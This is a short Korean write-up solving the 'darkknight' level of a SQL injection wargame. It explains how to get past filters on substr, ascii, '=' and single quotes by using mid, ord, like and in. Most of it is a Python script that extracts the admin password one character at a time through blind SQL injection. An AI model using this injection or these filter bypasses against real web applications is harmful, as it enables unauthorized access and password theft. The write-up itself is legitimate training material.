substr과 ascii, '=', '(싱글쿼터)이 필터링 되어 있다.
싱글쿼터는 사실상 더블쿼터를 사용하면 된다.
(이 문제에선 따옴표를 사용할 필요가 없어서 쓰이진 않았다.)
그 이외의 필터링은 전 단계와 동일하다.
import requests
url ="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
headers = {"cookie":"PHPSESSID=qadsf"}
pw = ''
for i in range(1,9):
for c in range(22,133):
query ="pw=&no=9||no like 2 and ord(mid(pw,{},1)) in ({})%23".format(i,c)
#여기서 no의 숫자를 입력할때 결과값이 없는 거짓이 되도록 만들어주여야 한다.
r = requests.get(url+query, headers=headers)
if "Hello admin" in r.text:
print(chr(c))
pw += chr(c)
break
print(pw)
이제 길이따위는 구하지 않으려고 한다.
mid를 이용하면 쉽게 substr 필터링을 우회할 수 있다.